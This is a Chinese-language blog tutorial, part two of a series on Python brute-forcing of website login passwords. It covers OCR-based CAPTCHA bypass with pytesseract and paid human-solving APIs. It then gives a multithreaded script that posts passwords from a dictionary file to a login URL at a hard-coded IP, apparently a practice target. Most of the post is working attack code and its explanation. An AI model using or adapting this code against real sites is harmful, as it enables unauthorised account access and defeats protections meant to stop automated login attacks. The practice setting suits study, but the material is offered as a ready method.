python爬虫暴力破解网站登陆密码(二)
上一篇主要介绍了一个基本的暴力破解爬虫的构成,但是他在实际使用的时候存在很多缺陷,比如速度很慢,遇到验证码无法进行等问题,这篇博客主要介绍验证码处理和多线程处理模块。
0x00 处理验证码
网站区别人类用户和爬虫还有一个最常用的方法,那就是验证码,验证码(CAPTCHA)全称是全自动区分计算机和人类的公开图灵测试。可以说验证码就是为了阻止脚本而被发明的。可是当某些网站的验证码比较清晰好识别的时候,我们就可以借助计算机光学识别实现了。对于复杂的验证码,可以使用一些验证码处理的api(绝大多数是付费的)这些接口会有人工处理,一般30秒之内就能返回结果。
光学识别示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from Tkinter import * tk= Tk() import pytesseract from PIL import Image x=1 for i in range(5): img = Image.open("%s.png" %x) gray = img.convert('L') gray.save('%s_1.png' %x) bw = gray.point(lambda x: 0 if x < 200 else 255,'1') bw.save('%s_2.png' %x) img.show() print(pytesseract.image_to_string(bw)) x+=1
|
0x01 多线程、多进程
在暴力破解中需要的时间本就十分漫长,如果字典过大仍然使用串行处理,时间会长到一个不可思议的程度,为了尽量减少花费的时间,我们采用多线程或者多进程并行处理的方式提升处理速度。这里我们采用多线程作为例子,因为python实现多线程十分方便。
多线程原理:
同一时间内,CPU只能处理1条线程,只有1条线程在工作(执行);多线程并发(同时)执行,其实是CPU快速地在多条线程之间调度(切换)。如果CPU调度线程的时间足够快,就造成了多线程并发执行的假象。
多线程优缺点:
- 优点:大大提高运行效率。
- 缺点:开启线程需要占用一定的内存空间(默认情况下,主线程占用1M,子线程占用512KB),如果开启大量的线程,会占用大量的内存空间,降低程序的性能;线程越多,CPU在调度线程上的开销就越大。
多线程示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests from threading import Thread
def boom(): data = {'pwd':password} print password content = requests.post(url,data=data) content.encoding='utf-8' html=content.text if html != recv: print html
url='http://120.24.86.145:8002/baopo/?yes' data = {'pwd':123}
content = requests.post(url,data=data) content.encoding='utf-8' recv=content.text
passFile = open(r'C:\Users\Leticia\Desktop\mutou.txt')
for line in passFile.readlines(): password = line.strip('\n') t = Thread(target=boom) t.start()
|